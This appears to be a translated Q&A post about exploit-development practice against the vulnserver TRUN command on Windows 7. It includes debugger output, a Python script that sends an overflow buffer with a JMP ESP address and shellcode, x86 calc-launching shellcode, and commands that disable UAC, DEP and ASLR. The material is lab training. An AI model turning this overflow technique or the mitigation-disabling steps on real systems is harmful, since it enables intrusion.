缓冲区溢出在 Windows 7 x64 中不工作?

Buffer Overflow Not working in Windows 7 x64?

我之前曾在 Linux 中利用过缓冲区溢出,对它如何发生|为什么发生以及针对它的保护措施(ASLR、DEP)有很好的了解。

最近在windows来尝试,所以首先google搜索显示利用vulnserver的TRUN命令,URL:https://github.com/stephenbradshaw/vulnserver based on my research, in windows you can't disable ASLR but can disable DEP for programs through Data Execution Prevention or https://community.ipswitch.com/s/article/Understanding-Data-Execution-Prevention-in-Windows-1307565976900

在跳转到我的脚本之前,下面是执行我的漏洞利用后 Immunity Debugger 的部分:

堆栈部分:

0260F9C8  41 41 41 41 41 41 41 41  AAAAAAAA
0260F9D0  41 41 41 41 41 41 41 41  AAAAAAAA
0260F9D8  F9 F9 60 02 FF F9 60 02  ùù`ÿù`
0260F9E0  90 90 90 90 90 90 90 90  
0260F9E8  90 90 90 90 90 90 90 90  
0260F9F0  EB 02 BA C7 93 BF 77 FF  ëºÇ“¿wÿ
0260F9F8  D2 CC E8 F3 FF FF FF 63  ÒÌèóÿÿÿc
0260FA00  61 6C 63 43 43 43 43 43  alcCCCCC
0260FA08  43 43 43 43 43 43 43 43  CCCCCCCC
0260FA10  43 43 43 43 43 43 43 43  CCCCCCCC

CPU 注册

EAX 00000114
ECX 004E6444
EDX 77BF93C7
EBX 00D0F200 ASCII "TRUN /.:/AAAAAAAAAAAAAAAA...
ESP 00D0F9D8
EBP 41414141
ESI 00000000
EDI CCD2FF77
EIP 77BF93C7
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 1  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDA000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
           3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1        

跳转寄存器:

!mona find -s "\xff\xe4" -m essfunc.dll
Log data, item 11
Address=625011AF
Message=  0x625011af : "\xff\xe4" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\PenTest\Desktop\vulnserver-master\vulnserver-master\essfunc.dll)

最后我的脚本:

#!/usr/bin/python

import socket
import os
import sys

host="192.168.1.18"
port=9999

buf = "\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63";

buffer = "TRUN /.:/" + "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 16 +  buf + "C" * (5060 - 2003 - 4 - 16 - len(buf))

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

易受攻击OS是windows7 enterprise 64bit

我有没有犯错?

必须为遇到与我相同问题的其他人回答我自己的问题

我的 shell 代码是针对 x86 位架构的,下面是适用于所有 Windows 计算器的 shell 代码,对我有用。

"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7"

以下是准备 Windows 7 64 位的一些步骤,目的是学习基本的 exploit 开发。

禁用 UAC

转到用户帐户控制设置。输入 UAC,或转到系统和安全小程序。单击“更改用户帐户控制设置”link。要关闭 UAC,请将滑块移动到从不通知位置,然后单击确定。

禁用 DEP

  1. 以“管理员”身份打开命令提示符
  2. 然后,键入此命令:

    bcdedit.exe /set {current} nx AlwaysOff

禁用 ASLR

  1. 打开 RegEdit(注册表编辑器)
  2. 找到这个键:

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory管理]

  3. 创建一个新的双字值如下

    “MoveImages”=dword:00000000(不带引号)

  4. 重新启动系统。